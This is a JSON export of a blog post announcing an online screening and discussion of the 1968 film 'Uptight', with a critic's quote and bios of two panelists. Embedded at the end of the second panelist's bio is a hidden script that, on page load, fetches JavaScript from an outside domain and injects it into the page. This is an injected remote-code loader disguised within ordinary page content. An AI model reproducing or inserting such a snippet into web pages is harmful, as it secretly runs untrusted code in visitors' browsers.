{"id":7351,"date":"2021-06-12T05:29:46","date_gmt":"2021-06-12T10:29:46","guid":{"rendered":"https:\/\/blackworldcinema.net\/blog\/?p=7351"},"modified":"2025-06-03T00:28:05","modified_gmt":"2025-06-03T05:28:05","slug":"7351","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2021\/06\/12\/7351\/","title":{"rendered":"August 1,\u00a03pm, 2021 Uptight (1968)"},"content":{"rendered":"<p>August 1,\u00a03pm, 2021<br \/>\n<strong>Uptight (1968) Jules Dassin, 1h 44 min<br \/>\n<a href=\"https:\/\/watchbeem.com\/cowatch\/the-informer-1935\">Free online Screening<\/a>\u00a0and Discussion<\/strong><\/p>\n<p>Intended as an updated version of <em>The Informer<\/em>, the first film in our series, <em>Uptight<\/em> (also known as <em>Up Tight!<\/em>) is a 1968 American drama film directed by Jules Dassin. Based also on the novel <em>The Informer<\/em> by Liam O&#8217;Flaherty, the setting was transposed from Dublin to Cleveland. The soundtrack was performed by Booker T and the MGs.<\/p>\n<p>&#8220;Jules Dassin&#8217;s &#8220;Up Tight&#8221; is a forthright treatment of black militancy. Somewhat to my surprise, it doesn&#8217;t chicken out. There&#8217;s no backsliding, toward a conciliatory moderate conclusion. The passions and beliefs of black militants are presented head-on, with little in the way of comfort for white liberals.&#8221;<br \/>\n<strong>&#8211; RogerEbert<\/strong><\/p>\n<p><strong><a href=\"https:\/\/blackworldcinema.net\/blog\/2021\/07\/16\/7351\/seewood-356px\/\" rel=\"attachment wp-att-7352\"><img decoding=\"async\" class=\"alignleft wp-image-7352\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px.png\" alt=\"\" width=\"104\" height=\"106\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px.png 356w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-292x300.png 292w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-243x250.png 243w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-24x24.png 24w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/seewood-356px-48x48.png 48w\" sizes=\"(max-width: 104px) 100vw, 104px\" \/><\/a>Panelist: Andr\u00e9 Seewood\u00a0<\/strong>is a multiple award winning independent filmmaker, writer and musician.\u00a0 He is the co-founder and former co-editor of FILM THREAT Magazine and a distinguished recipient of the Dennis Turner Memorial Film Studies Scholarship from Wayne State University.\u00a0\u00a0 He is the author of SCREENWRITING INTO FILM: Forgotten Methods &amp; New Possibilities (2006), SLAVE CINEMA: The Crisis of the African-American in Film 2nd Edition (2011) and (DISMANTLING) The Greatest Lie Ever Told to the Black Filmmaker: Collected Essays on Film (2015).\u00a0<b><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/blackworldcinema.net\/blog\/floydwebbbwc-356px\/\"><img decoding=\"async\" class=\"wp-image-7346 alignleft\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px.png\" alt=\"Floyd Webb - Black World Cinema\" width=\"91\" height=\"94\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px.png 356w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-292x300.png 292w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-243x250.png 243w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-24x24.png 24w\" sizes=\"(max-width: 91px) 100vw, 91px\" \/><\/a><\/p>\n<p><span class=\"s1\"><b>Floyd Webb<br \/>\n<\/b><\/span>Floyd Webb is a filmmaker, curator and founder of the Blacklight Film Festival, Black World Cinema screening series and bwcTV.yv streaming channel. He was associate producer of Julie Dash&#8217;s Daughters of the dust, producer and director of music videos and commercials, and works in digital media production. His career as a cultural worker began during his participation as a 15 year old in 1969, with the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rainbow_Coalition_(Fred_Hampton)\">Black Panther Party Rainbow Coalition<\/a> and co-directing the <a href=\"https:\/\/popularresistance.org\/the-black-panther-partys-multiracial-anti-fascism\/\">National Committee to Combat Fascism<\/a> in Maywood, IL.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>August 1,\u00a03pm, 2021 Uptight (1968) Jules Dassin, 1h 44 min Free online Screening\u00a0and Discussion Intended as an updated version of The Informer, the first film in our series, Uptight (also known as Up Tight!) is a 1968 American drama film directed by Jules Dassin. Based also on the novel The Informer by Liam O&#8217;Flaherty, the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7353,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[8,3],"tags":[],"class_list":["post-7351","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-future_programming","category-monthly-screenings-at-chatham-14"],"_links":{"self":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/comments?post=7351"}],"version-history":[{"count":9,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7351\/revisions"}],"predecessor-version":[{"id":7504,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7351\/revisions\/7504"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media\/7353"}],"wp:attachment":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media?parent=7351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/categories?post=7351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/tags?post=7351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}